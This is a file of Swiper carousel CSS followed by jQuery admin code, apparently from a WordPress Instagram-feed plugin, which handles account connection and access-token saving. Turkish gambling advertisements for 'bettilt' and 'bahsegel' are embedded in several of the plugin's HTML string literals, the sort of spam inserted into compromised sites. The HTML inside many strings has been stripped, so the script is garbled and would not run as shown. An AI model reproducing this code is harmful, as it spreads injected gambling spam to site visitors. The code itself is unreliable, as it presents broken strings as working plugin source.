background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-3d .swiper-slide-shadow-top {
background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
.swiper-3d .swiper-slide-shadow-bottom {
background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0));
}
/* CSS Mode */
.swiper-css-mode > .swiper-wrapper {
overflow: auto;
scrollbar-width: none;
/* For Firefox */
-ms-overflow-style: none;
/* For Internet Explorer and Edge */
}
.swiper-css-mode > .swiper-wrapper::-webkit-scrollbar {
display: none;
}
.swiper-css-mode > .swiper-wrapper > .swiper-slide {
scroll-snap-align: start start;
}
.swiper-horizontal.swiper-css-mode > .swiper-wrapper {
scroll-snap-type: x mandatory;
}
.swiper-vertical.swiper-css-mode > .swiper-wrapper {
scroll-snap-type: y mandatory;
}
.swiper-centered > .swiper-wrapper::before {
content: '';
flex-shrink: 0;
order: 9999;
}
.swiper-centered.swiper-horizontal > .swiper-wrapper > .swiper-slide:first-child {
margin-inline-start: var(--swiper-centered-offset-before);
}
.swiper-centered.swiper-horizontal > .swiper-wrapper::before {
height: 100%;
min-height: 1px;
width: var(--swiper-centered-offset-after);
}
.swiper-centered.swiper-vertical > .swiper-wrapper > .swiper-slide:first-child {
margin-block-start: var(--swiper-centered-offset-before);
}
.swiper-centered.swiper-vertical > .swiper-wrapper::before {
width: 100%;
min-width: 1px;
height: var(--swiper-centered-offset-after);
}
.swiper-centered > .swiper-wrapper > .swiper-slide {
scroll-snap-align: center center;
}
.swiper-virtual .swiper-slide {
-webkit-backface-visibility: hidden;
transform: translateZ(0);
}
.swiper-virtual.swiper-css-mode .swiper-wrapper::after {
content: '';
position: absolute;
left: 0;
top: 0;
pointer-events: none;
}
.swiper-virtual.swiper-css-mode.swiper-horizontal .swiper-wrapper::after {
height: 1px;
width: var(--swiper-virtual-size);
}
.swiper-virtual.swiper-css-mode.swiper-vertical .swiper-wrapper::after {
width: 1px;
height: var(--swiper-virtual-size);
}
:root {
--swiper-navigation-size: 44px;
/*
--swiper-navigation-color: var(--swiper-theme-color);
*/
}
.swiper-button-prev,
.swiper-button-next {
position: absolute;
top: 50%;
width: calc(var(--swiper-navigation-size) / 44 * 27);
height: var(--swiper-navigation-size);
margin-top: calc(0px - (var(--swiper-navigation-size) / 2));
z-index: 10;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
color: var(--swiper-navigation-color, var(--swiper-theme-color));
}
.swiper-button-prev.swiper-button-disabled,
.swiper-button-next.swiper-button-disabled {
opacity: 0.35;
cursor: auto;
pointer-events: none;
}
.swiper-button-prev.swiper-button-hidden,
.swiper-button-next.swiper-button-hidden {
opacity: 0;
cursor: auto;
pointer-events: none;
}
.swiper-navigation-disabled .swiper-button-prev,
.swiper-navigation-disabled .swiper-button-next {
display: none !important;
}
.swiper-button-prev:after,
.swiper-button-next:after {
font-family: swiper-icons;
font-size: var(--swiper-navigation-size);
text-transform: none !important;
letter-spacing: 0;
font-variant: initial;
line-height: 1;
}
.swiper-button-prev,
.swiper-rtl .swiper-button-next {
left: 10px;
right: auto;
}
.swiper-button-prev:after,
.swiper-rtl .swiper-button-next:after {
content: 'prev';
}
.swiper-button-next,
.swiper-rtl .swiper-button-prev {
right: 10px;
left: auto;
}
.swiper-button-next:after,
.swiper-rtl .swiper-button-prev:after {
content: 'next';
}
.swiper-button-lock {
display: none;
}
:root {
/*
--swiper-pagination-color: var(--swiper-theme-color);
--swiper-pagination-bullet-size: 8px;
--swiper-pagination-bullet-width: 8px;
--swiper-pagination-bullet-height: 8px;
--swiper-pagination-bullet-inactive-color: #000;
--swiper-pagination-bullet-inactive-opacity: 0.2;
--swiper-pagination-bullet-opacity: 1;
--swiper-pagination-bullet-horizontal-gap: 4px;
--swiper-pagination-bullet-vertical-gap: 6px;
*/
}
.swiper-pagination {
position: absolute;
text-align: center;
transition: 300ms opacity;
transform: translate3d(0, 0, 0);
z-index: 10;
}
.swiper-pagination.swiper-pagination-hidden {
opacity: 0;
}
.swiper-pagination-disabled > .swiper-pagination,
.swiper-pagination.swiper-pagination-disabled {
display: none !important;
}
/* Common Styles */
.swiper-pagination-fraction,
.swiper-pagination-custom,
.swiper-horizontal > .swiper-pagination-bullets,
.swiper-pagination-bullets.swiper-pagination-horizontal {
bottom: 10px;
left: 0;
width: 100%;
}
/* Bullets */
.swiper-pagination-bullets-dynamic {
overflow: hidden;
font-size: 0;
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transform: scale(0.33);
position: relative;
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active {
transform: scale(1);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main {
transform: scale(1);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev {
transform: scale(0.66);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev {
transform: scale(0.33);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next {
transform: scale(0.66);
}
.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next {
transform: scale(0.33);
}
.swiper-pagination-bullet {
width: var(--swiper-pagination-bullet-width, var(--swiper-pagination-bullet-size, 8px));
height: var(--swiper-pagination-bullet-height, var(--swiper-pagination-bullet-size, 8px));
display: inline-block;
border-radius: 50%;
background: var(--swiper-pagination-bullet-inactive-color, #000);
opacity: var(--swiper-pagination-bullet-inactive-opacity, 0.2);
}
button.swiper-pagination-bullet {
border: none;
margin: 0;
padding: 0;
box-shadow: none;
-webkit-appearance: none;
appearance: none;
}
.swiper-pagination-clickable .swiper-pagination-bullet {
cursor: pointer;
}
.swiper-pagination-bullet:only-child {
display: none !important;
}
.swiper-pagination-bullet-active {
opacity: var(--swiper-pagination-bullet-opacity, 1);
background: var(--swiper-pagination-color, var(--swiper-theme-color));
}
.swiper-vertical > .swiper-pagination-bullets,
.swiper-pagination-vertical.swiper-pagination-bullets {
right: 10px;
top: 50%;
transform: translate3d(0px, -50%, 0);
}
.swiper-vertical > .swiper-pagination-bullets .swiper-pagination-bullet,
.swiper-pagination-vertical.swiper-pagination-bullets .swiper-pagination-bullet {
margin: var(--swiper-pagination-bullet-vertical-gap, 6px) 0;
display: block;
}
.swiper-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic,
.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic {
top: 50%;
transform: translateY(-50%);
width: 8px;
}
.swiper-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,
.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
display: inline-block;
transition: 200ms transform, 200ms top;
}
.swiper-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet,
.swiper-pagination-horizontal.swiper-pagination-bullets .swiper-pagination-bullet {
margin: 0 var(--swiper-pagination-bullet-horizontal-gap, 4px);
}
.swiper-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic,
.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic {
left: 50%;
transform: translateX(-50%);
white-space: nowrap;
}
.swiper-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,
.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transition: 200ms transform, 200ms left;
}
.swiper-horizontal.swiper-rtl > .swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
transition: 200ms transform, 200ms right;
}
/* Progress */
.swiper-pagination-progressbar {
background: rgba(0, 0, 0, 0.25);
position: absolute;
}
.swiper-pagination-progressbar .swiper-pagination-progressbar-fill {
background: var(--swiper-pagination-color, var(--swiper-theme-color));
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
transform: scale(0);
transform-origin: left top;
}
.swiper-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill {
transform-origin: right top;
}
.swiper-horizontal > .swiper-pagination-progressbar,
.swiper-pagination-progressbar.swiper-pagination-horizontal,
.swiper-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,
.swiper-pagination-progressbar.swiper-pagination-vertical.swiper-pagination-progressbar-opposite {
width: 100%;
height: 4px;
left: 0;
top: 0;
}
.swiper-vertical > .swiper-pagination-progressbar,
.swiper-pagination-progressbar.swiper-pagination-vertical,
.swiper-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,
.swiper-pagination-progressbar.swiper-pagination-horizontal.swiper-pagination-progressbar-opposite {
width: 4px;
height: 100%;
left: 0;
top: 0;
}
.swiper-pagination-lock {
display: none;
}
/* Scrollbar */
.swiper-scrollbar {
border-radius: 10px;
position: relative;
-ms-touch-action: none;
background: rgba(0, 0, 0, 0.1);
}
.swiper-scrollbar-disabled > .swiper-scrollbar,
.swiper-scrollbar.swiper-scrollbar-disabled {
display: none !important;
}
.swiper-horizontal > .swiper-scrollbar,
.swiper-scrollbar.swiper-scrollbar-horizontal {
position: absolute;
left: 1%;
bottom: 3px;
z-index: 50;
height: 5px;
width: 98%;
}
.swiper-vertical > .swiper-scrollbar,
.swiper-scrollbar.swiper-scrollbar-vertical {
position: absolute;
right: 3px;
top: 1%;
z-index: 50;
width: 5px;
height: 98%;
}
.swiper-scrollbar-drag {
height: 100%;
width: 100%;
position: relative;
background: rgba(0, 0, 0, 0.5);
border-radius: 10px;
left: 0;
top: 0;
}
.swiper-scrollbar-cursor-drag {
cursor: move;
}
.swiper-scrollbar-lock {
display: none;
}
.swiper-zoom-container {
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
}
.swiper-zoom-container > img,
.swiper-zoom-container > svg,
.swiper-zoom-container > canvas {
max-width: 100%;
max-height: 100%;
object-fit: contain;
}
.swiper-slide-zoomed {
cursor: move;
}
/* Preloader */
:root {
/*
--swiper-preloader-color: var(--swiper-theme-color);
*/
}
.swiper-lazy-preloader {
width: 42px;
height: 42px;
position: absolute;
left: 50%;
top: 50%;
margin-left: -21px;
margin-top: -21px;
z-index: 10;
transform-origin: 50%;
box-sizing: border-box;
border: 4px solid var(--swiper-preloader-color, var(--swiper-theme-color));
border-radius: 50%;
border-top-color: transparent;
}
.swiper:not(.swiper-watch-progress) .swiper-lazy-preloader,
.swiper-watch-progress .swiper-slide-visible .swiper-lazy-preloader {
animation: swiper-preloader-spin 1s infinite linear;
}
.swiper-lazy-preloader-white {
--swiper-preloader-color: #fff;
}
.swiper-lazy-preloader-black {
--swiper-preloader-color: #000;
}
@keyframes swiper-preloader-spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
/* a11y */
.swiper .swiper-notification {
position: absolute;
left: 0;
top: 0;
pointer-events: none;
opacity: 0;
z-index: -1000;
}
.swiper-free-mode > .swiper-wrapper {
transition-timing-function: ease-out;
margin: 0 auto;
}
.swiper-grid > .swiper-wrapper {
flex-wrap: wrap;
}
.swiper-grid-column > .swiper-wrapper {
flex-wrap: wrap;
flex-direction: column;
}
.swiper-fade.swiper-free-mode .swiper-slide {
transition-timing-function: ease-out;
}
.swiper-fade .swiper-slide {
pointer-events: none;
transition-property: opacity;
}
.swiper-fade .swiper-slide .swiper-slide {
pointer-events: none;
}
.swiper-fade .swiper-slide-active,
.swiper-fade .swiper-slide-active .swiper-slide-active {
pointer-events: auto;
}
.swiper-cube {
overflow: visible;
}
.swiper-cube .swiper-slide {
pointer-events: none;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
z-index: 1;
visibility: hidden;
transform-origin: 0 0;
width: 100%;
height: 100%;
}
.swiper-cube .swiper-slide .swiper-slide {
pointer-events: none;
}
.swiper-cube.swiper-rtl .swiper-slide {
transform-origin: 100% 0;
}
.swiper-cube .swiper-slide-active,
.swiper-cube .swiper-slide-active .swiper-slide-active {
pointer-events: auto;
}
.swiper-cube .swiper-slide-active,
.swiper-cube .swiper-slide-next,
.swiper-cube .swiper-slide-prev,
.swiper-cube .swiper-slide-next + .swiper-slide {
pointer-events: auto;
visibility: visible;
}
.swiper-cube .swiper-slide-shadow-top,
.swiper-cube .swiper-slide-shadow-bottom,
.swiper-cube .swiper-slide-shadow-left,
.swiper-cube .swiper-slide-shadow-right {
z-index: 0;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
}
.swiper-cube .swiper-cube-shadow {
position: absolute;
left: 0;
bottom: 0px;
width: 100%;
height: 100%;
opacity: 0.6;
z-index: 0;
}
.swiper-cube .swiper-cube-shadow:before {
content: '';
background: #000;
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
filter: blur(50px);
}
.swiper-flip {
overflow: visible;
}
.swiper-flip .swiper-slide {
pointer-events: none;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
z-index: 1;
}
.swiper-flip .swiper-slide .swiper-slide {
pointer-events: none;
}
.swiper-flip .swiper-slide-active,
.swiper-flip .swiper-slide-active .swiper-slide-active {
pointer-events: auto;
}
.swiper-flip .swiper-slide-shadow-top,
.swiper-flip .swiper-slide-shadow-bottom,
.swiper-flip .swiper-slide-shadow-left,
.swiper-flip .swiper-slide-shadow-right {
z-index: 0;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
}
.swiper-creative .swiper-slide {
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
overflow: hidden;
transition-property: transform, opacity, height;
}
.swiper-cards {
overflow: visible;
}
.swiper-cards .swiper-slide {
transform-origin: center bottom;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
overflow: hidden;
}jQuery(document).ready(function($) {
jQuery('#sbi_no_js_warning').remove();
/* NEW API CODE */
$('.sbi_admin_btn, .sbi_reconnect').click(function(event) {
event.preventDefault();
var today = new Date(),
march = new Date('June 1, 2020 00:00:00'),
oldApiURL = $(this).attr('data-old-api'),
oldApiLink = '';
if (today.getTime() < march.getTime()) {
oldApiLink = 'To connect using the legacy API, click here (expires on June 1, 2020).';
}
var personalBasicApiURL = $('#sbi_config .sbi_admin_btn').attr('data-personal-basic-api'),
newApiURL = $('#sbi_config .sbi_admin_btn').attr('data-new-api');
$('#sbi_config').append('' +
'
' +
'
Are you connecting a Personal or Business Instagram Profile?
' +
'
' +
'
' +
'
' +
'
Connect ' +
'
' +
'
' +
'
');
$('.sbi_modal_close').on('click', function(){
$('#sbi_config_info').remove();
});
$('input[name=sbi_login_type]').change(function() {
if ($('input[name=sbi_login_type]:checked').val() === 'business') {
$('a.sbi_admin_btn').attr('href',newApiURL);
} else {
$('a.sbi_admin_btn').attr('href',personalBasicApiURL);
}
});
});
if ($('.sbi_config_modal .sbi-managed-pages').length) {
$('#sbi_config').append($('#sbi_config_info'));
}
$('#sbi-select-all').change(function() {
var status = $(this).is(':checked');
$('.sbi-add-checkbox input').each(function() {
$(this).attr('checked',status);
});
if($('.sbi-add-checkbox input:checked').length) {
$('#sbi-connect-business-accounts').removeAttr('disabled');
} else {
$('#sbi-connect-business-accounts').attr('disabled',true);
}
});
$('.sbi-add-checkbox input').change(function() {
if($('.sbi-add-checkbox input:checked').length) {
$('#sbi-connect-business-accounts').removeAttr('disabled');
} else {
$('#sbi-connect-business-accounts').attr('disabled',true);
}
});
$('#sbi-connect-business-accounts').click(function(event) {
if(typeof $(this).attr('disabled') === 'undefined') {
event.preventDefault();
var accounts = {};
$('.sbi-add-checkbox input').each(function(index) {
if ($(this).is(':checked')) {
var jsonSubmit = JSON.parse($(this).val());
jsonSubmit.access_token = $(this).closest('.sbi-managed-page').attr('data-token');
jsonSubmit.page_access_token = $(this).closest('.sbi-managed-page').attr('data-page-token');
accounts[index] = jsonSubmit;
}
});
$('.sbi_connected_accounts_wrap,#sbi_config_info').fadeTo("slow" , 0.5);
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_connect_business_accounts',
accounts: JSON.stringify(accounts),
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
if (data.trim().indexOf('{') === 0) {
var connectedAccounts = JSON.parse(data);
$('.sbi_connected_accounts_wrap').fadeTo("slow" , 1);
$('#sbi_config_info').remove();
$.each(connectedAccounts,function(index,savedToken) {
console.log(savedToken);
sbiAfterUpdateToken(savedToken,false);
});
}
}
});
}
});
$('.sbi_modal_close').on('click', function(){
$('#sbi_config_info').remove();
});
/* NEW API CODE */
//Autofill the token and id
var hash = window.location.hash,
token = hash.substring(14),
id = token.split('.')[0];
if (token.length > 40 && $('.sbi_admin_btn').length) {
$('.sbi_admin_btn').css('opacity','.5').after('
');
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_after_connection',
access_token: token,
},
success: function (data) {
if (data.indexOf('{') === 0) {
var accountInfo = JSON.parse(data);
if (typeof accountInfo.error_message === 'undefined') {
accountInfo.token = token;
$('.sbi_admin_btn').css('opacity','1');
$('#sbi_config').find('.spinner').remove();
if (!$('.sbi_connected_account ').length) {
$('.sbi_no_accounts').remove();
sbSaveToken(token,true);
} else {
var buttonText = 'Connect This Account';
// if the account is connected, offer to update in case information has changed.
if ($('#sbi_connected_account_'+id).length) {
buttonText = 'Update This Account';
}
$('#sbi_config').append('' +
'
' +
'
' +
'
'+accountInfo.username+'
' +
'
' +
'Switch Accounts
Hızlı işlem isteyen kullanıcılar bettilt sayesinde kolayca bahis yapabiliyor.
' +
'
' +
'
' +
'
');
$('#sbi_connect_account').click(function(event) {
event.preventDefault();
$('#sbi_config_info').fadeOut(200);
sbSaveToken(token,false);
});
sbiSwitchAccounts();
}
} else {
$('.sbi_admin_btn').css('opacity','1');
$('#sbi_config').find('.spinner').remove();
var message = accountInfo.error_message;
$('#sbi_config').append('');
sbiSwitchAccounts();
}
} else {
$('.sbi_admin_btn').css('opacity','1');
$('#sbi_config').find('.spinner').remove();
var message = 'There was an error connecting your account';
$('#sbi_config').append('' +
'
' +
'
'+message+'
' +
'
Switch Accounts
Kumarhane eğlencesini dijital dünyaya taşıyan bahsegel çeşitliliği artıyor.
' +
'
' +
'
' +
'
');
sbiSwitchAccounts();
}
}
});
window.location.hash = '';
}
function sbiSwitchAccounts(){
$('#sbi_switch_accounts').on('click', function(){
//Log user out of Instagram by hitting the logout URL in an iframe
$('body').append('');
$(this).text('Please wait...').after('
');
//Wait a couple seconds for the logout to occur, then connect a new account
setTimeout(function(){
window.location.href = $('.sbi_admin_btn').attr('href');
}, 2000);
});
$('.sbi_modal_close').on('click', function(){
$('#sbi_config_info').remove();
});
}
if ($('#sbi_switch_accounts').length) {
$('.sbi_admin_btn').attr('href',$('#sbi_config .sbi_admin_btn').attr('data-personal-basic-api'));
sbiSwitchAccounts();
}
function sbiAfterUpdateToken(savedToken,saveID){
$('.sbi_no_accounts').remove();
if (saveID) {
sbSaveID(savedToken.user_id);
$('.sbi_user_feed_ids_wrap').prepend(
''+
''+savedToken.username+' ('+savedToken.user_id+') ' +
' ' +
'
'
);
}
if (typeof savedToken.old_user_id !== 'undefined' && $('#sbi_connected_account_'+savedToken.old_user_id).length) {
if ($('#sbi_user_feed_id_'+savedToken.old_user_id).length) {
$('.sbi_user_feed_ids_wrap').prepend(
''+
''+savedToken.username+' ('+savedToken.user_id+') ' +
' ' +
'
'
);
$('#sbi_user_feed_id_'+savedToken.old_user_id).remove();
saveID = true;
}
$('#sbi_connected_account_'+savedToken.old_user_id).remove();
}
if ($('#sbi_connected_account_'+savedToken.user_id).length) {
if (savedToken.is_valid) {
$('#sbi_connected_account_'+savedToken.user_id).addClass('sbi_account_updated');
} else {
$('#sbi_connected_account_'+savedToken.user_id).addClass('sbi_account_invalid');
}
$('#sbi_connected_account_'+savedToken.user_id).attr('data-accesstoken',savedToken.access_token);
if (typeof savedToken.use_tagged !== 'undefined' && savedToken.use_tagged == '1') {
$('#sbi_connected_account_'+savedToken.user_id).attr('data-permissions','tagged');
$('#sbi_connected_account_'+savedToken.user_id).find('.sbi_permissions_desc').text('All');
}
if (! $('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_avatar').length) {
if (savedToken.profile_picture !== '') {
$('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_username').prepend(' ');
}
}
$('#sbi_connected_account_'+savedToken.user_id + ' .sbi_ca_username').find('span').text(sbiAccountType(savedToken.type));
$('#sbi_connected_account_'+savedToken.user_id).find('.sbi_ca_accesstoken .sbi_ca_token').text(savedToken.access_token);
$('#sbi_connected_account_'+savedToken.user_id).find('.sbi_tooltip code').text('[instagram-feed accesstoken="'+savedToken.access_token+'"]');
} else {
//Check which kind of account it is
if(typeof savedToken.type !== 'undefined'){
var accountType = savedToken.type;
$('.sbi_hashtag_feed_issue').removeClass('sbi_hashtag_feed_issue').find('.sbi_hashtag_feed_issue_note').hide();
} else {
var accountType = 'personal';
}
var avatarHTML = '';
if (savedToken.profile_picture !== '') {
avatarHTML = ' ';
}
//Add the account HTML to the page
var removeOrSaveHTML = saveID ? ' Remove from Primary Feed ' : ' Add to Primary Feed ',
statusClass = saveID ? 'sbi_account_active' : 'sbi_account_updated',
html = ''+
'
'+
'
'+
'
'+
avatarHTML+
''+savedToken.username+''+sbiAccountType(accountType)+' '+
'
'+
'
'+
'
'+
'
Copy and paste this shortcode into your page or widget area: '+
'[instagram-feed user="'+savedToken.username+'"]'+
'
'+
'
To add multiple users in the same feed, simply separate them using commas: '+
'[instagram-feed user="'+savedToken.username+', a_second_user, a_third_user"]'+
'
Click on the Display Your Feed tab to learn more about shortcodes
'+
'
'+
'
' +
'Access Token: ' +
'User ID: ' +
'Permissions: All ' +
'
' +
'
'+
'
';
$('.sbi_connected_accounts_wrap').prepend(html);
var $clickRemove = $('.sbi-init-click-remove');
sbiInitClickRemove($clickRemove.find('.sbi_delete_account'));
if ($clickRemove.find('.sbi_remove_from_user_feed').length ) {
$clickRemove.find('.sbi_remove_from_user_feed').off();
sbiInitUserRemove($clickRemove.find('.sbi_remove_from_user_feed'));
} else {
$clickRemove.find('.sbi_use_in_user_feed').off();
sbiInitUserAdd($clickRemove.find('.sbi_use_in_user_feed'));
}
$clickRemove.removeClass('sbi-init-click-remove');
}
}
function sbSaveToken(token,saveID) {
$('.sbi_connected_accounts_wrap').fadeTo("slow" , 0.5);
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_auto_save_tokens',
access_token: token,
just_tokens: true,
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
var savedToken = JSON.parse(data);
$('.sbi_connected_accounts_wrap').fadeTo("slow" , 1);
sbiAfterUpdateToken(savedToken,saveID);
}
});
}
function sbiAccountType(accountType) {
if (accountType === 'basic') {
return 'personal (new API)';
}
return accountType;
}
function sbSaveID(ID) {
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: 'sbi_auto_save_id',
id: ID,
just_tokens: true,
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
}
});
}
// connect accounts
//sbi-bus-account-error
if (window.location.hash && window.location.hash === '#test') {
window.location.hash = '';
$('#sbi-bus-account-error').html('
Oyuncular yatırımlarını güvenle yapabilmek için bettilt sistemlerini öncelikli görüyor.
Couldn\'t connect an account with this access token ' +
'Please check to make sure that the token you entered is correct.
')
}
$('.sbi_manually_connect_wrap').hide();
$('.sbi_manually_connect').click(function(event) {
event.preventDefault();
if ( $('.sbi_manually_connect_wrap').is(':visible') ) {
$('.sbi_manually_connect_wrap').slideUp(200);
} else {
$('.sbi_manually_connect_wrap').slideDown(200);
$('#sb_manual_at').focus();
}
});
$('#sb_manual_at').on('input',function() {
sbiToggleManualAccountIDInput();
});
if ($('#sb_manual_at').length){
sbiToggleManualAccountIDInput();
}
function sbiIsBusinessToken() {
return ($('#sb_manual_at').val().trim().length > 125);
}
function sbiToggleManualAccountIDInput() {
if (sbiIsBusinessToken()) {
$('.sbi_manual_account_id_toggle').slideDown();
$('.sbi_business_profile_tag').css('display', 'inline-block');
} else {
$('.sbi_manual_account_id_toggle').slideUp();
}
}
var $body = $('body');
$body.on('click', '.sbi_test_token, .sbi_ca_token_shortcode', function (event) {
event.preventDefault();
var $clicked = $(event.target),
accessToken = $clicked.closest('.sbi_connected_account').attr('data-accesstoken'),
action = false,
atParts = accessToken.split('.'),
username = $clicked.closest('.sbi_connected_account').attr('data-username'),
accountID = $clicked.closest('.sbi_connected_account').attr('data-userid');
if ($clicked.hasClass('sbi_ca_token_shortcode')) {
jQuery(this).closest('.sbi_ca_info').find('.sbi_ca_shortcode').slideToggle(200);
} //
});
$('.sbi_delete_account').each(function() {
sbiInitClickRemove($(this));
});
function sbiInitClickRemove(el) {
el.click(function(event) {
event.preventDefault();
if (!$(this).closest('.sbi_connected_accounts_wrap').hasClass('sbi-waiting')) {
$(this).closest('.sbi_connected_accounts_wrap').addClass('sbi-waiting');
var accessToken = $(this).closest('.sbi_connected_account').attr('data-accesstoken'),
action = false,
atParts = accessToken.split('.'),
username = $(this).closest('.sbi_connected_account').attr('data-username'),
accountID = $(this).closest('.sbi_connected_account').attr('data-userid');
if (window.confirm("Delete this connected account?")) {
action = 'sbi_delete_account';
$('#sbi_user_feed_id_' + accountID).remove();
$('#sbi_tagged_feed_id_' + accountID).remove();
$('#sbi_connected_account_' + accountID).append('
').find('.sbi_ca_info').css('opacity','.5');
jQuery.ajax({
url: sbiA.ajax_url,
type: 'post',
data: {
action: action,
account_id: accountID,
sbi_nonce: sbiA.sbi_nonce
},
success: function (data) {
$('.sbi-waiting').removeClass('sbi-waiting');
$('#sbi_connected_account_' + accountID).fadeOut(300, function() { $(this).remove(); });
}
});
} else {
$('.sbi-waiting').removeClass('sbi-waiting');
}
}
});
}
$('.sbi_remove_from_user_feed').each(function() {
sbiInitUserRemove($(this));
});
function sbiInitUserRemove(el,targetClass) {
el.click(function(event) {
event.preventDefault();
targetClass = $('input[name=sb_instagram_type]:checked').val();
var $clicked = $(this),
accountID = $clicked.closest('.sbi_connected_account').attr('data-userid');
$('#sbi_'+targetClass+'_feed_id_'+accountID).remove();
sbiConAccountsAddRemoveUpdater();
});
}
$('.sbi_use_in_user_feed').each(function() {
sbiInitUserAdd($(this), 'user');
});
function sbiInitUserAdd(el,targetClass) {
el.click(function(event) {
targetClass = $('input[name=sb_instagram_type]:checked').val();
event.preventDefault();
var $clicked = $(this),
$closest = $clicked.closest('.sbi_connected_account'),
username = $clicked.closest('.sbi_connected_account').attr('data-username'),
accountID = $clicked.closest('.sbi_connected_account').attr('data-userid');
var name = ''+accountID+' ';
if (username !== '') {
name = ''+username+' ('+accountID+') ';
}
$('.sbi_'+targetClass+'_feed_ids_wrap').prepend(
''+
name +
' ' +
'
'
);
$('.sbi_no_accounts').hide();
sbiConAccountsAddRemoveUpdater();
});
}
function sbiConAccountsAddRemoveUpdater() {
var targetClass = $('input[name=sb_instagram_type]:checked').val();
var isSelected = [];
$('.sbi_'+targetClass+'_feed_account_wrap').find('input').each(function() {
isSelected.push($(this).val());
});
$('.sbi_connected_account').each(function() {
var username = $(this).attr('data-username'),
accountID = $(this).attr('data-userid'),
type = $(this).attr('data-type'),
permissions = $(this).attr('data-permissions'),
$addRemoveButton = $(this).find('.sbi_ca_actions .button-primary').first();
$(this).removeClass('sbi_account_updated');
$addRemoveButton.removeAttr('disabled');
if (targetClass === 'tagged' && (type === 'personal' || permissions !== 'tagged')) {
$addRemoveButton.show();
if (type === 'personal') {
$addRemoveButton.html('Tagged Feeds Not Supported');
} else {
$addRemoveButton.html('Reconnect Account');
}
$addRemoveButton.attr('disabled',true).addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed');
$(this).removeClass('sbi_account_active');
} else if (targetClass === 'hashtag') {
$addRemoveButton.hide();
$addRemoveButton.attr('disabled',true).addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed');
$(this).removeClass('sbi_account_active');
} else {
$addRemoveButton.show();
if (isSelected.indexOf(accountID) > -1) {
$addRemoveButton.html(' Remove from Primary Feed');
$addRemoveButton.addClass('sbi_remove_from_user_feed').removeClass('sbi_use_in_user_feed');
$(this).addClass('sbi_account_active');
} else {
$addRemoveButton.html(' Add to Primary Feed');
$addRemoveButton.removeClass('sbi_remove_from_user_feed');
$addRemoveButton.addClass('sbi_use_in_user_feed');
$(this).removeClass('sbi_account_active');
}
}
if ($(this).find('.sbi_remove_from_user_feed').length ) {
$(this).find('.sbi_remove_from_user_feed').off();
sbiInitUserRemove($(this).find('.sbi_remove_from_user_feed'));
} else {
$(this).find('.sbi_use_in_user_feed').off();
sbiInitUserAdd($(this).find('.sbi_use_in_user_feed'),'user');
}
});
}sbiConAccountsAddRemoveUpdater();
$('input[name=sb_instagram_type]').change(sbiConAccountsAddRemoveUpdater);
$body.on('click', '.sbi_ca_show_token', function(event) {
jQuery(this).closest('.sbi_ca_info').find('.sbi_ca_accesstoken').slideToggle(200);
});
$('#sbi_manual_submit').click(function(event) {
event.preventDefault();
var $self = $(this);
var accessToken = $('#sb_manual_at').val(),
error = false;
if (sbiIsBusinessToken() && $('.sbi_manual_account_id_toggle').find('input').val().length < 3) {
error = true;
if (!$('.sbi_manually_connect_wrap').find('.sbi_user_id_error').length) {
$('.sbi_manually_connect_wrap').show().prepend('Please enter a valid User ID for this Business account.
');
}
} else {
error = false;
}
if (accessToken.length < 15) {
if (!$('.sbi_manually_connect_wrap').find('.sbi_user_id_error').length) {
$('.sbi_manually_connect_wrap').show().prepend('Please enter a valid access token
');
}
} else if (! error) {
$(this).attr('disabled',true);
$(this).closest('.sbi_manually_connect_wrap').fadeOut();
$('.sbi_connected_accounts_wrap').fadeTo("slow" , 0.5).find('.sbi_user_id_error').remove();
jQuery.ajax({
